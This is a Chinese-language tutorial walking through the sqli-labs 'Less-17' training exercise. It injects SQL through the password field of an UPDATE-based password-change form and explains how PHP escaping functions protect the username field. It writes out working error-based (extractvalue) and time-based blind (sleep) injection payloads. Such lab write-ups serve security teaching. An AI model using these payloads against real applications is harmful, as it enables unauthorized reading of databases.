Less-17
本关我们可以看到是一个修改密码的过程,利用的是update语句,与在用select时是一样的,我们仅需要将原先的闭合,构造自己的payload。
尝试报错
Username:admin
Password:1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1
可以看到 admin'' 说明在对密码的处理过程中使用的是 '' 。
接下来利用盲注进行注入。
这里首先演示一下报错类型的盲注。
uname=admin&passwd=11'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&submit=Submit
将@@version换成你的子句就可以进行其他的注入了。
当然了,也可以用延时注入,也可以看到时间的延迟的明显效果
uname=admin&passwd=11'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&submit=Submit
其他的方式这里就不演示了。自行思考呦!~
提问:在看源代码的时候,先进行一次select语句,那为什么我们不从username处进行构造呢?
其实我们可以在源代码中看到一个函数。check_input()函数。
这里我们介绍几个函数你就明白了。
★addslashes()
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(')
- 双引号(")
- 反斜杠(\)
- NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
语法:addslashes(string)
参数 |
描述 |
string |
必需。规定要转义的字符串。 |
返回值: |
返回已转义的字符串。 |
PHP 版本: |
4+ |
★stripslashes()
函数删除由 addslashes() 函数添加的反斜杠。
★mysql_real_escape_string()
函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
语法:mysql_real_escape_string(string,connection)
参数 |
描述 |
string |
必需。规定要转义的字符串。 |
connection |
可选。规定 MySQL 连接。如果未规定,则使用上一个连接。 |
说明:本函数将 string 中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()。
在我们less17的check_input()中,对username进行各种转义的处理,所以此处不能使用username进行注入。